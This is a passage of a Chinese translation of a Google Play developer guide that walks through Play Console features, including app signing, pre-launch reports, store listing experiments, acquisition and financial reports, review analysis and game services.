免安装应用](https://developer.android.com/topic/instant-apps/index.html)文档获取更多详细信息。\n\n**工件库**（**artifact library**）是一个专门展示你为发布应用上传的所有文件集合的部分，例如 APK，假如出于某些需要，你可以回顾并从这里下载某些旧的 APK。\n\n> 在第一次使用时，[设备目录（device catalog）]让我避免了去做出一个糟糕的，不知情的决定。我当时正打算移除一种支持设备，但后来我发现它有着很好的安装，4.6 的评分和 30 天的重要收入。在目录中有这样的数据非常棒！\n\n> - Oliver Miao, [Pixelberry Studios](https://play.google.com/store/apps/developer?id=Pixelberry&hl=en) 的创始人和首席执行官\n\n**设备目录**（**device catalog**）包含数千台经过 Google 认证的 Android 和 Chrome 操作系统设备，可提供搜索和查看设备规格的功能。通过精细筛选控制，你可以移除使用范围较小的问题设备，以便在你的应用能在所有支持的设备上提供最佳体验。你可以单独移除设备和/或通过性能指标（如 RAM 和芯片系统）来设置规则。该目录还显示每种设备类型的安装量，评分和收入。例如，特定设备的平均评分较低，可能是设备问题在一般测试中没有被捕捉到导致的。你可以移除这样的设备，并暂时停止新的安装，直到你完成修复。\n\n![](https://cdn-images-1.medium.com/max/800/1*5bPHUQncjHlGsIPD2rnIBA.png)\n\n设备目录。\n\n**应用签名**（**App signing**）是我们为帮助你保护应用签名密钥的安全而推出的一项服务。Google Play 上的每个应用都由其开发人员签名，提供了一个可追踪的声明来让开发人员证明 “真的是我开发的这个 app”。如果用于签名应用程序的密钥丢失，这是一个严重问题。你将无法更新你的应用程序。作为替代，你需要上传一个新的应用程序，你将失去应用程序的安装历史记录，评分和评论，并且尝试切换时可能会导致用户混淆。使用应用程序签名后，你可以上传应用程序签名密钥，将其安全的存储到 Google 的云中。这与使用 Google 存储我们的应用密钥的技术是相同的，这得益于我们在业界领先的安全基础架构。上传的密钥随后可用于在你提交更新时为你的应用签名。当你第一次上传全新的应用程序时，你可以很容易注册应用程序签名。而我们将为你生成应用签名密钥。\n\n![](https://cdn-images-1.medium.com/max/800/1*6RcDJJp7WPjANQKcMjuYtQ.png)\n\n应用签名（由 Google Play 提供的服务）。\n\n> 应用开发语言学习者 [Erudite](https://play.google.com/store/apps/dev?id=7358092740483658893&hl=en) 因为[使用预发行报告提高了 60% 的留存率](https://www.youtube.com/watch?v=WMJR6CuPp4w&list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c&index=17v).\n\n本节的最后一个部分是**预发行报告**（**re-launch report**）。当你上传应用的 alpha 版或 beta 版时，我们会在 Android 的 Firebase 测试实验室中针对各种规格的流行设备进行自动化测试，并展示结果。这些测试会查找月崩溃，性能和安全漏洞相关的一些错误和问题。您可以查看在不同设备和不同语言中运行的应用的屏幕截图。你还可以设置证书，以便在登录后执行测试，以及使用 Google Play 许可服务来测试应用程序。\n\n![](https://cdn-images-1.medium.com/max/800/1*bc-LZ91iCVuIXTNjq5XlyQ.png)\n\n预启动报告（Pre-launch report）（自动生成 alpha/beta 版）。\n\n在发行一个 app 后，有限或不完整的测试可能会使应用因为其质量问题导致低评分和负面评论，从而使得应用被推出，这种情况很难恢复。预发行报告是全面测试以及帮助你识别和修复应用中的常见问题的良好开端。然而，您仍然需要运行一套测试来全面检查您的应用。在 [**Android 的 Firebase 测试实验室**](https://firebase.google.com/docs/test-lab/)中来构建测试，该测试通过预发行报告来提供其他功能，并且测试实验室能够在多台设备上自动运行这些测试，这可能比人工测试更有效及高效。\n\n> **更多关于发布管理的资源：**\n> - [根据质量准则进行测试来满足用户期望](https://developer.android.com/distribute/best-practices/develop/quality-guidelines.html)\n> - [使用预发行和崩溃报告来改进您的应用](https://developer.android.com/distribute/best-practices/launch/pre-launch-crash-reports.htmlhttps://developer.android.com/distribute/best-practices/launch/pre-launch-crash-reports.html)\n> - [用 Beta 版测试你的应用程序并获取用户宝贵的早期反馈](https://developer.android.com/distribute/best-practices/launch/beta-tests.html)\n> - [分段发布更新以确保获得积极的反响](https://developer.android.com/distribute/best-practices/launch/progressive-updates.html)\n> - [推出手机游戏的新时代](https://medium.com/googleplaydev/a-new-era-of-launching-mobile-games-ef2453686f73) (Medium 推送)\n> - [发布你的游戏](https://www.youtube.com/watch?v=rV9Q6AMdt84) (Playtime ‘17 session)\n> - [新版本和设备定位工具](https://www.youtube.com/watch?v=peCWuCSIv7U) (I/O ‘17 session)\n> - [注册应用签名以保护您的应用密钥](https://www.youtube.com/watch?v=PuaYhnGmeEk) (DevByte video)\n\n* * *\n\n### Store 展示（Store presence）\n\n你可以在此部分管理应用在 Google Play 上的宣传文案，针对应用的内容运行实验，设置定价和市场，获取内容分级，管理应用内商品以及获取翻译。\n\n**商品详情**（**Store listing**）部分和你想象中的一样—这是你维护应用元数据的地方，例如其标题，说明，图标，功能图片，功能视频，屏幕截图，商店分类，联系详情和隐私政策。\n\n![](https://cdn-images-1.medium.com/max/800/1*GGu4yJsG73asnwF8X_QFmQ.png)\n\n商品详情（Store listing）。\n\n一个好的商品详情应该有一个醒目的图标; 一个用于展示应用程序的特别之处的功能的图形，视频和屏幕截图（支持所有设备类别和所有方向）; 以及一个引人注目的描述。对于游戏，请上传视频和至少三张横屏截图，以确保您的游戏符合 Play Store 游戏部分中的视频/屏幕截图群集。了解哪些内容最适合并推动最多安装可能是一项挑战。但是，控制台的下一部分旨在回答这个问题。\n\n> 通过利用应用程序的图标和屏幕截图进行商品详情实验后，日本房地产应用程序 [LIFULL HOME’S](https://play.google.com/store/apps/details?id=jp.co.homes.android3) [安装率增加了 188％](https://www.youtube.com/watch?v=PXW6zcm3-4c&index=7&list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c).\n\n**商品详情实验室**（**Store listing experiments**）使你能够测试商品详情的许多方面，例如其说明，应用图标，功能图形，屏幕截图和促销视频。你可以对图像和视频进行全局实验，以及对文本进行本地化实验。进行实验时，你最多可以指定要测试的项目的三种变体，并且你将会看到测试变体所占的 store 访问者的百分比。这个实验会一直运进行直到统计到足够多的 store 访问者为止，然后会告诉你如何去比较变体。如果你得到了具有明确优势的变体，您可以选择将该变体应用于商品详情并将其展示给所有访问者。\n\n![](https://cdn-images-1.medium.com/max/800/1*xbwluyqq7-UQhO-Auce_hg.png)\n\n商品详情实验室（Store listing experiments）。\n\n有效的实验需要从一个明确的目标开始。首先要测试你的应用程序图标，因为它是你的清单中最明显的部分，其次是其他清单内容。每个实验测试一种内容类型以获得更可靠的结果。实验应至少运行七天，尤其是在商店流量较低的情况下，以达到 store 访问者的 50%—但如果测试可能会有一些风险，请保持较低的百分比。通过反复从实验中获取表现良好的内容并针对主题进行进一步的迭代。例如，如果你的第一个测试发现一个更好的元素添加到游戏的图标中，你的下一个实验可以测试一下图标背景颜色变化所带来的影响。\n\n**定价和分发**（**Pricing & distribution**）是你为应用设置价格的地方，并且可以限制其分发的国家/地区。你还可以在这里指出你的应用是否针对特定设备类别（如 Android Wear）进行了支持，以及你的应用是否适用于诸如 Designed for Families 之类的计划。每个设备类别和程序都有相关要求和最佳做法，我在下面添加了有关每种设备更多信息的链接。\n\n![](https://cdn-images-1.medium.com/max/800/1*AV9a0VumHeQwlGUkqgiDOQ.png)\n\n定价和分发（Pricing & distribution）。\n\n在设定价格时，你会看到一个本地化功能，控制台会自动将价格调整为最符合该指定国家/地区的惯例。例如，日本的结算价格为 .00。此时，你可能还想创建一个 **定价模板**（**pricing template**）。使用定价模板，你可以按国家/地区创建一组价格，然后将其应用于多个付费应用和应用内商品。对模板所做的任何更改都会自动应用于所有使用该模板设置过价格的应用或产品。在控制台的全局设置菜单中可以找到你的定价模板。\n\n在为应用程序设置了详细信息后，最有可能重回此部分的原因是运行付费应用程序的销售，选择加入新程序或更新应用程序分发的国家列表。\n\n> **详细了解分配设备类别和程序：**\n> - [分发到 Android Wear](https://developer.android.com/distribute/best-practices/launch/distribute-wear.html)\n> - [分发到 Android TV](https://developer.android.com/distribute/best-practices/launch/distribute-tv.html)\n> - [分发到 Android Auto](https://developer.android.com/distribute/best-practices/launch/distribute-auto.html)\n> - [优化 Chrome OS 设备](https://developer.android.com/distribute/best-practices/engage/optimize-for-chromebook.html)\n> - [分发到 Daydream](https://developer.android.com/distribute/best-practices/develop/daydream-and-cardboard-vr.html)\n> - [使用托管的 Google Play 分发给企业和组织](https://developer.android.com/distribute/google-play/work.html)\n> - [分发以家庭或孩子为中心的应用程序和游戏](https://developer.android.com/distribute/google-play/families.html)\n\n接下来是你的应用的**内容评级**（**content rating**）。通过回答内容评级调查问卷获得评分，完成后，你的应用将收到来自世界各地认可机构贴切的评分标记。没有内容分级的应用将从 Play Store 中删除。\n\n**应用内商品**（**in-app products**）部分是你维护从你的应用中出售的产品和订阅目录的地方。在这里添加商品不会为你的应用或游戏增加功能，每个产品的交付或解锁或订阅都需要编码到应用中。这里的信息决定了 store 对这些商品所做的事情，比如它向用户收费的金额以及续订的时间。因此，对于应用内商品，除了说明和价格明细之外，你还可以添加其订阅时描述和价格，然后添加结算周期，试用期和未付款宽限期。项目价格可以单独设置或基于定价模板设置。如果价格是为各国单独设定的，你可以接受根据当前汇率所得的价格或手动设置每个价格。\n\n![](https://cdn-images-1.medium.com/max/800/1*EzneiTuF-mc_0U9JrWfpBw.png)\n\n应用内商品（in-app products）。\n\n> Noom [国际收入增长了 80%](https://developer.android.com/stories/apps/noom-health.html) 通过将其应用在Google Play 上本地化。\n\n本部分的最后一个选项是**翻译服务**（**translation service**）。Play 控制台让你可以通过可靠的经过审核的翻译人员，将你的应用翻译成新的语言。当你的应用程序以当地的语言提供时，这将有很大的可能提高商品详情转换率以及增加定的国家/地区的安装次数。Play 控制台中有一些工具可帮助识别要翻译成哪些合适的语言。例如，通过使用收入报告，你可以识别哪些访问商品详情较多但安装量却较低的国家/地区。如果您的技术团队正在通过此服务翻译应用的用户界面，那么你也可以得到翻译文本。通过在提交翻译之前在 strings.xml 文件中包含商店列表元数据，应用内商品名称和通用应用推广文本来实现这一点。\n\n> **更多关于 store 展示的资源：**\n> - [制作引人注目的 Google Play Store 详情以吸引更多的安装](https://developer.android.com/distribute/best-practices/launch/store-listing.html)\n> - [使用引人注目的功能图形来展示你的应用](https://developer.android.com/distribute/best-practices/launch/feature-graphic.html)\n> - [使用商品详情实验室将更多访问转化为安装](https://developer.android.com/distribute/best-practices/grow/store-listing-experiments.html)\n> - [走向全球并在新的国家成功培养有价值的观众](https://developer.android.com/distribute/best-practices/grow/go-global.html)\n\n* * *\n\n### 用户获取（User acquisition）\n\n> 相较于其他移动平台 Peak Games 在 Android 平台上[平均成本降低了 30% — 40%](https://www.youtube.com/watch?v=eNpDqYoHFZk) 。\n\n每个开发者都希望能吸引受众，Play 控制台的这一部分是关于理解和优化用户的获取及保留的。\n\n在**收获报告中**（**acquisition reports**），根据你是销售应用内商品还是订阅，最多可以访问三份报告（顶部的标签）：\n\n*   **保留的安装程序**（**Retained Installers**）—显示应用程序在 Store 页面的访问者数量，然后显示其中有多少人安装了你的应用程序并将其保留了 30 天以上。\n*   **购买者**（**Buyers**）—显示应用程序在 Store 页面的访问者数量，然后有多少人安装了您的应用程序，然后继续购买一个或多个应用内商品或订阅。\n*   **订阅者**（**Subscribers**）—显示应用在 Store 页面的访问者数量，然后显示其中有多少人安装了您的应用，然后继续激活了应用内订阅。\n\n每个报告都包含一个图表，显示报告期间访问你应用在商品详情页面的用户数量，其次是安装人员的数量，保留安装人员的数量以及（在购买者或订阅报告中）购买者或订阅的人数。如果我们确定没有足够的数据可显示，那么一些报告将是空白的。使用「衡量」（measured by）下拉菜单在按以下方式细分的数据之间切换：\n\n*   **获取渠道**（**Acquisition channel**）—显示访问者来自哪里的数据表格，如 Play Store，Google 搜索，AdWords 等。\n*   **国家/地区**（**Country**）—显示每个国家/地区访问者的总人数。\n*   **国家/地区**（**Country**）（**Play Store organic**）—通过过滤国家/地区总数有机地向你展示访问者通过 Google Play 上搜索和浏览来到你的商品详情页面。\n\n在所有报告中，你可以切换选项以查看未访问商品详情页面的安装者数量，例如直接从 Google 搜索结果或 play.google.com/store 安装的安装者。\n\n![](https://cdn-images-1.medium.com/max/800/1*2SKVVb8Osd4EE15tlkq9Bg.png)\n\n收入报告。\n\n当通过审查收入渠道或国家/地区（Play Store organic）的报告时，如果有足够的数据，你将看到**转化率基准**（**conversion rate benchmarks**）。根据你的应用的类别和获利方式，这些基准将提供一个关于你的应用的性能与 Play Store 中的所有类似应用的比较。基准是一种方便的方法，用于检查你是否在操作安装时做得很好。\n\n![](https://cdn-images-1.medium.com/max/800/1*Mkdd5i--pE8ha_iZu-8U_w.png)\n\n转化率基准。\n\n增加安装量的方法之一是进行推广活动，并且你可以从 **AdWords 推广系列快速入门**。你可以在本节创建和跟踪一个通用应用推广系列。这种类型的推广系列使用 Google 的机器学习算法为你的应用程序找到最佳收入渠道以及目标每次安装费用（CPI）。为推广系列提供文字，图片和视频，其余部分则由 AdWords 完成，通过 AdMob 广告网络在 Google Play，Google Search，YouTube，其他应用以及 Google Display Network 网络中的移动网站上投放广告。\n\n一旦你的通用应用推广系列投入运行，你将在收入报告中获得更多数据。要详细了解和跟踪情况，请查看 AdWords 帐户中的报告。\n\n推动安装和参与的另一个选择是进行**促销**。你可以在此创建促销码并管理促销活动，以便免费赠送应用或应用内商品的副本。例如，你可以在社交媒体上的营销中或在电子邮件活动中使用促销码。\n\n本节最后的功能是**优化建议**。这些建议是在我们检测到存在可以改善你的应用程序及其性能的更改时自动生成的。在其他建议中，优化建议可能会建议你根据你的应用受欢迎的地区的语言来翻译你的应用，识别使用了某些过时的 Google API，确定你是否从使用 Google Play 游戏服务中受益，亦或者检测你的应用还未对平板电脑进行优化。每个建议都包含了帮助你实施的说明。\n\n> **更多关于获取和保留用户的资源：**\n> - [了解具有价值的用户来自哪里并优化您的营销](https://developer.android.com/distribute/best-practices/grow/user-aquisition.html)\n> - [通过通用应用推广系列增加下载量](https://developer.android.com/distribute/best-practices/grow/install-ads.html)\n> - [走向全球，成功地在新的国家增加有价值的观众](https://developer.android.com/distribute/best-practices/grow/go-global.html)\n> - [打消付费用户获取的疑虑](https://medium.com/googleplaydev/taking-the-guesswork-out-of-paid-user-acquisition-720d9d74882e) (来自 Medium)\n> - [缩小 APK，增加安装量](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2) (来自 Medium)\n> - [如何针对新兴市场优化您的 Android 应用程序](https://medium.com/googleplaydev/how-to-optimize-your-android-app-for-emerging-markets-7124c4180fc) (来自 Medium)\n> - [在 Google Play上制作有帮助的数据](https://www.youtube.com/watch?v=Dr82cv6Lj0c) (I/O ‘17 大会)\n\n* * *\n\n### 财务报告（Financial reports）\n\n> Play 提供的分析和测试功能无与伦比，为开发如 Hooked 这样应用的开发者们提供了帮助其发展的重要见解，对帮助我们理解和优化我们的收入至关重要。\n\n> —Prerna Gupta, 创始人 & CEO, [HOOKED](https://play.google.com/store/apps/details?id=tv.telepathic.hooked)\n\n如果你销售应用，应用内商品或订阅，则需要跟踪并了解你的收入进展情况。**财务报告**（**Financial reports**）部分可让你访问多个信息中心和报告。\n\n该部分的第一份报告提供了收入和购买者的**概览**。该报告显示了与上一期报告相比，你的收入和买家购买力是如何变化的。\n\n![](https://cdn-images-1.medium.com/max/800/1*0gplcgqBGeRlPJ6wgQp-oQ.png)\n\n财务报告（Financial reports）。\n\n单独的报告提供了**收入**（**revenue**），**购买者**（**buyers**）和**转化**（**conversions**）的详细分类，可以深入了解用户的支出模式。每个报告都允许你查看特定时段的数据，例如最后一天，7 天，30 天或在应用程序的整个生命周期。你还可以深入了解收入和买家报告中的设备以及国家/地区数据。\n\n转化报告有助于你讲了解用户的支出模式。**转化率**表格显示了你的受众群体在你的应用中购买商品的百分比，并帮助你了解最近的更改对转化的影响。**买家平均开销**的表可以让你深入的了解用户的消费习惯是如何改变的以及付费用户的生命周期价值。\n\n> **更多关于获利的资源：**\n> - [使用 Google Play 帐单销售应用内商品](https://developer.android.com/distribute/best-practices/earn/in-app-purchases.html)\n> - [设计你的应用来推动转化](https://developer.android.com/distribute/best-practices/develop/design-to-drive-conversions.html)\n> - [使用针对 Firebase 的 Google 分析来提高转化次数](https://developer.android.com/distribute/best-practices/earn/improve-conversions.html)\n> - [从应用程序浏览者到首次购买者](https://medium.com/googleplaydev/from-app-explorer-to-first-time-buyer-6476be50893) (来自 Medium)\n> - [预测你的应用的获利的未来](https://medium.com/googleplaydev/predicting-your-apps-future-65b741999e0e) (来自 Medium)\n> - [提高游戏即服务货币化的五大技巧](https://medium.com/googleplaydev/five-tips-to-improve-your-games-as-a-service-monetization-1a99cccdf21) (来自 Medium)\n> - [推动 Android 应用转化](https://www.youtube.com/watch?v=P2z1CnNj6ag) (‘17 大会游戏时间)\n> - [与游戏的生命周期价值一起玩耍](https://www.youtube.com/watch?v=mZIIMRbh8z8) (‘17 大会游戏时间)\n> - [在 Google Play 上赚钱](https://www.youtube.com/watch?v=LQ6MsPmUa38) (DevByte)\n> - [Play 应用内结算库 1.0](https://www.youtube.com/watch?v=y78ugwN4Obg) (DevByte 视屏)\n\n> 随时可用于分析的订阅数据很有价值。能够看到订阅如何随着时间的推移而变化，许多开发人员认为这是有用的。\n\n> —Kyle Grymonprez，[Glu](https://play.google.com/store/apps/developer?id=Glu) 跨平台和 Android 开发负责人 \n\n最后，如果你发放**订阅**，信息中心将为你提供订阅如何进行的全面视图，以帮助你可就如何增加订阅，减少取消和增加收入方面做出更好的决策。信息中心包括概述，详细的订阅获取报告，终生保留报告和取消报告。你可以使用此信息来发现优化营销和应用内消息的机会，以推动新的订阅以及减少客户流失。\n\n![](https://cdn-images-1.medium.com/max/800/1*AunDgPC8DHfFXLBzlN3PXg.png)\n\n订阅信息中心。\n\n> **更多关于订阅的资源：**\n> - [通过 Google Play 帐号销售订阅](https://developer.android.com/distribute/best-practices/earn/subscriptions.html)\n> - [建立全天候的订阅业务](https://medium.com/googleplaydev/building-a-subscriptions-business-for-all-seasons-7ffd95b3f929) (来自 Medium)\n> - [如何留住你的应用的订阅者们](https://medium.com/googleplaydev/how-to-hold-on-to-your-apps-subscribers-eebb5965e267) (来自 Medium)\n> - [智对订阅难点](https://medium.com/googleplaydev/outsmarting-subscription-challenges-711216b6292c) (来自 Medium)\n> - [使用行为经济学来传达价值订阅](https://medium.com/googleplaydev/using-behavioural-economics-to-convey-the-value-of-paid-app-subscriptions-cd96ca171d5b) (来自 Medium)\n> - [通过 Google Play 上的订阅获得更多收益](https://www.youtube.com/watch?v=hRZPXgRhOH0) (I/O ‘17 大会)\n\n* * *\n\n### 用户反馈（User feedback）\n\n> **评分和评论部分是了解你们社区的强大工具。在 Google 翻译的帮助下，我们用他们的母语回答他们。因此，我们看到用户评分有了很大提高。事实上，他们全部都是 4.4 星，甚至更高。**\n\n> **—** [**Papumba 首席产品官员 Andres Ballone**](https://www.youtube.com/watch?v=9M9mAhYAspU)\n\n通过评论进行评分和用户反馈非常重要。Play Store 的访问者在决定是否安装它时会考量你的应用的评分和评论。评论还提供了一种与受众群体进行互动的方式，并收集有关对你的应用有帮助的反馈。\n\n**评分**是随着时间推移按照国家/地区，语言，应用版本，Android 版本，设备和运营商得出的所有评分的摘要。你可以深入了解这些数据，以了解你的应用的评分与其应用类别的基准评分的对比情况。\n\n在分析这些数据时，需要注意两件关键的事情。首先是随着时间推移而变化的评分，特别是其上升或者下降时。平分的降低则表明你需要查看最近的更新。也许更新使得应用程序难以使用或引入了导致其更频繁崩溃的问题。第二种用法是寻找与评分整体水平不一致的地方。也许对某种语言的评价很低—这意味着你的翻译可能牛头不对马嘴。或者可能在特定设备上的评分较低—表明你的应用未针对该设备进行优化。如果你的评分总体上较好，那么查找并解决「挑刺儿」差评可帮助你提高评分，特别是在难以找到应用改进机会的情况下。\n\n![](https://cdn-images-1.medium.com/max/800/0*Qv_i6KSksTlTz8sL.)\n\n评分。\n\n> **我们使用评论分析（reviews analysis）来收集用户在 Google Play 上的反馈，并使用它们来改善 Erudite 的功能。它还使我们能够直接单独的回复用户，因此我们可以提升与用户的沟通并了解他们的真实需求。**\n\n> **—** [**Benji Chan, Erudite 的产品经理**](https://www.youtube.com/watch?v=WMJR6CuPp4w)\n\n用户可以在不提供评论的情况下为你的应用打分，但是当评分包含评论时，通过其内容可以洞悉是什么导致了这个评分。这是**评论分析**（**reviews analysis**）部分发挥作用的地方。它提供了三种见解：更新后的评分（updated ratings），基准（benchmarks）和话题分析（topic analysis）。\n\n![](https://cdn-images-1.medium.com/max/800/0*pijImEKdKgfJG-hF.)\n\n评论分析（reviews analysis）。\n\n**更新后的评分**（**updated ratings**）可帮助你了解更改评论的用户是如何更改他们提供的评分的。数据在你回复的评论和没有回复的评论之间进行了细分。你会发现报告显示，对差评进行回复（例如，如果你答复让用户知道问题已得到解决）通常会使用户返回并向上修改其评分。\n\n**基准**（**benchmarks**）根据应用类别的常见评论话题来提供评分分析。因此，例如，你可以看到用户如何提及你的应用的注册体验以及该项的评论是如何对你的评分作出贡献的。此外，你还可以看到你的评分和评论数量与同一类别中的类似应用的比较情况。如果你想进一步了解，点击一个话题去查看构成此分析的评论。\n\n**话题**（**Topic**）提供了有关应用评价中使用的关键字的信息及其对评分的影响。从每个单词中，你可以深入了解这些出现的评论的详细信息，以便可以更详细地了解所发生的情况。此功能为英语，印地语，意大利语，日语，韩语和西班牙语的评论提供分析。\n\n> **它使我们可以轻松地搜索评论，并且在需要获取更多信息时联系用户，一般而言，它为我节省了大量时间，每周大约节省 5 到 10 小时。**\n\n> **— Olivia Schafer，[Aviary](https://play.google.com/store/apps/dev?id=5644820617218674509) 的社区支持专家**\n\n在**评论**（**reviews**）部分中，你可以查看个别评论。默认视图显示所有来源和所有语言的最新评论。使用过滤器选项来优化列表。注意**所有回复状态**（**all reply states**）选项。筛选评论以查看你未回复的内容，以及你回复的内容和用户随后更新其评论或评分的评论。回复评论很容易，在评论中只需点击**回复此评论**（**reply to this review**）。\n\n有时候你会遇到违反[评论发布政策](https://play.google.com/about/comment-posting-policy.html)的评论，你可通过点击评论区域中的举报标志来举报这些评论。\n\n![](https://cdn-images-1.medium.com/max/800/0*9rElhiblAG0KXrJ5.)\n\n评论（Reviews）。\n\n> **在**[**抢先体验**](https://developer.android.com/distribute/google-play/startups.html#be-part-of-early-access)**中使用测试反馈，西班牙游戏开发者** [**Omnidrone**](https://play.google.com/store/apps/developer?id=Omnidrone&hl=en) [**提高了 41％ 的保留率，50％ 的参与率和 20％ 的货币化**](https://www.youtube.com/watch?v=LzGC6V_YnlE&index=10&list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c)。\n\n有一个专门针对**测试反馈**（**beta feedback**）的部分。当你对应用进行公开测试时，测试人员提供的任何反馈都会在此处显示—它不会包含在你产品应用的评分和评论中，并且不会公开显示。这些功能类似于公众反馈：您可以过滤评论，回复评论以及查看与用户对话的历史记录。\n\n> **更多关于用户反馈的资源：**\n> - [浏览并回复应用评价以积极的与用户互动](https://developer.android.com/distribute/best-practices/engage/user-reviews.html)\n> - [分析用户评论以了解关于你的应用的意见](https://developer.android.com/distribute/best-practices/grow/user-reviews.html)\n\n* * *\n\n### 全局 Play 控制台部分\n\n到目前为止，我已经查看了可用于每个应用的 Play 控制台功能。完成之前，我想给你一个关于全局 Play 控制台功能的简要指南：游戏服务，订单管理，下载报告，警报和设置。\n\n> [**Senri 实施 Play 游戏服务**](https://developer.android.com/stories/games/leos-fortune.html) **在 Leo’s Fortune（里奥的财富）及每一章的排行榜上存储游戏。Google Play 游戏服务用户在 1 天后返回的可能性增加 22％，在 2 天后增加 17％。**\n\n**Google Play 游戏服务**提供一系列提供游戏功能以帮助推动玩家参与度的工具，例如：\n\n*   **排行榜**（**Leaderboards**）—让玩家与朋友比较他们的分数并与顶级玩家竞争的地方。\n*   **成就**（**Achievements**）—在游戏中设定目标，玩家获得经验值（XP）来完成。\n*   **游戏的保存**（**Saved Games**）—存储游戏数据并跨设备进行同步，以便玩家可以轻松恢复游戏。\n*   **多玩家**（**Multiplayer**）—通过实时和回合制的多人游戏来连结玩家们。\n\n许多这些功能可以在不更改游戏代码的情况下进行更新和管理。\n\n> **Eric Froemling 使用玩家分析在游戏**  [**Bombsquad**](https://play.google.com/store/apps/details?id=net.froemling.bombsquad) **上** [**平均每位用户收入提升了 140%，平均每位付费用户收入提升了 67%**](https://www.youtube.com/watch?v=3ks0IwqLNnI)\n\n**玩家分析**（**Player analytics**）将有关游戏性能的宝贵信息集中在一个地方，并提供一组免费报告，帮助你管理游戏业务并了解游戏中的玩家行为。当你将 Google Play 游戏服务集成到您的游戏时，它就是标准配置。\n\n![](https://cdn-images-1.medium.com/max/800/0*ihSQz7lO1yVCO4y3.)\n\n玩家分析（作为 Google Play 游戏服务的一部分）。\n\n您可以设置玩家花费的每日目标，然后监控**目标 vs 实际**（**target vs. actual**）**图表**中的表现，并定义如何将你的玩家花费与**业务驱动**（**business drivers**）报告中类似游戏的基准相比。您可以使用**保留**（**retention**）报告追踪新用户队列中的玩家保留情况，并通过**玩家进度**（**player progression**）报告查看玩家在哪里花费时间，竞争以及变动的情况。然后通过**资源和渠道**（**sources and sinks**）报告来检查和帮助管理你的游戏内经济，例如，你不会弃用玩家正在使用中的资源。\n\n你还可以深入了解玩家行为的细节。使用**筛选器**（**funnels**）可根据任何顺序事件（如成就，花费和自定义事件）创建图表，或使用**群组**（**cohorts**）报告通过新用户群组比较任何事件的累积事件值。通过玩家**时间系列**资源管理器，了解玩家在关键时刻会发生什么情况，并根据你的自定义 Play 游戏事件与**事件查看器**（**events viewer**）创建报告。\n\n> **更多关于 Google Play 游戏服务的资源：**\n> - [使用 Google Play 游戏服务创建更具吸引力的游戏体验](https://developer.android.com/distribute/best-practices/engage/games-services.htmlhttps://developer.android.com/distribute/best-practices/engage/games-services.html)\n> - [使用玩家分析来更好地了解玩家在游戏中的表现](https://developer.android.com/distribute/best-practices/engage/player-analytics.html)\n> - [通过玩家分析并提供收入目标来管理您的游戏业务](https://developer.android.com/distribute/best-practices/earn/grow-game-revenue.html)\n> - [针对游戏开发者的 Medium 文章](https://medium.com/googleplaydev/tagged/game-development)\n\n**订单管理**（**Order management**）提供访问用户所有付款的详细信息。你的客户服务团队成员将使用此部分查找和退款或取消订阅。\n\n![](https://cdn-images-1.medium.com/max/800/1*Gab41EMLdSrFdY-fLwMkew.png)\n\n订单管理（Order management）。\n\n**下载报告**（**Download reports**）会获取包括崩溃和应用程序无响应错误（ANR），评论和财务报告详细信息在内的数据。此外，还提供了用于安装，评分，崩溃，Firebase 云消息传递（FCM）和订阅的汇总数据。你可以通过工具使用这些下载报告来分析 Play 控制台捕获的数据。\n\n**警报**（**Alerts**）涉及与崩溃，安装，评分，卸载和安全相关的问题。对于使用 Google Play 游戏服务的游戏，会出现游戏功能警报，可能是因为未正确使用游戏功能而被阻止，例如达到限制或过度的 API 调用等等。你可以在设置菜单的通知部分选择通过电子邮件接收提醒。\n\n**设置**（**Settings**）提供各种选项来控制你的开发者帐户以及 Play 控制台的行为。\n\n我想着重介绍**开发者帐户**（**developer account**）下的一个设置功能，**用户帐户和权限**（**user accounts & rights**）。你可以完全控制哪些人可以在控制台中访问你应用的功能和数据。你可以为每个团队成员提供对整个帐户的查看或编辑的访问权限，也可以为特定的部分提供访问权限。例如，你可以选择允许你的市场部门主管访问商品详情（store listing），评论和 AdWords 推广系列，但不能访问控制台的其他部分。访问权的另一个常见用途是使你的财务报告仅显示给那些需要查看它们的人。\n\n你应该设置你的**开发者页面**（**developer page**），以便在用户点击你的开发者名称时在 store 中展示你的应用或游戏以及公司的品牌。你可以添加标题图片，徽标，简要说明，网站 URL 以及精选应用程序（你的应用程序的完整列表可自动显示）。\n\n在**偏好设置**（**preferences**）中，你可以选择通过网络界面或电子邮件收到哪些 Play 控制台的通知，[注册新闻](http://g.co/play/monthlynews) 选择参与反馈并调查，告诉我们你的角色，并更改你的偏好，与我们分享你的控制台使用数据。\n\n* * *\n\n### 获取 Play 控制台应用程序\n\n本文中的屏幕截图展示了浏览器中的 Play 控制台，但是你的 Android 设备也可以使用 Play 控制台应用。快速访问你应用的统计信息，评分，评论以及发布信息。获取重要更新的通知，例如你的最新版本已经上线，以及执行回复评论等快速操作。\n\n[在 Google Play 上获取](https://play.google.com/store/apps/details?id=com.google.android.apps.playconsole&hl=en).\n\n* * *\n\n### 保持最新状态\n\n有几种方法可以保持从 Google Play 获取最新最好的状态：\n\n*   点击 Play 控制台右上角的 🔔 ，查看需了解的有关新功能和更改的通知。\n*   [通过电子邮件注册获取新闻和提示](http://g.co/play/monthlynews) 包括我们的月刊。\n*   [在 Medium 上关注我们](https://medium.com/googleplaydev)来自团队的长篇文章，包括最佳实践，商业策略，研究和行业思想。\n*   [在 Twitter 上联系我们](https://twitter.com/googleplaydev)或者通过 [Linkedin](https://www.linkedin.com/showcase/googleplaydev/) 与我们开始对话。\n*   获取[给开发者的 Playbook 应用](https://play.google.com/store/apps/details?id=com.google.android.apps.secrets&hl=en) 以管理推送（包括我们所有的博客及 Medium 中的推送）和 YouTube 视频从而帮助你在 Google Play 上成功发展业务，并选择接收通知的内容。\n\n* * *\n\n**关于 Play 控制台的问题或反馈？请与我们取得联系！**\n在下方评论或者使用标签 **#AskPlayDev** 向我们发送推文，我们将通过 [@GooglePlayDev](http://twitter.com/googleplaydev) 进行回复，我们会定期分享有关如何在 Google Play 上取得成功的新闻和技巧。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 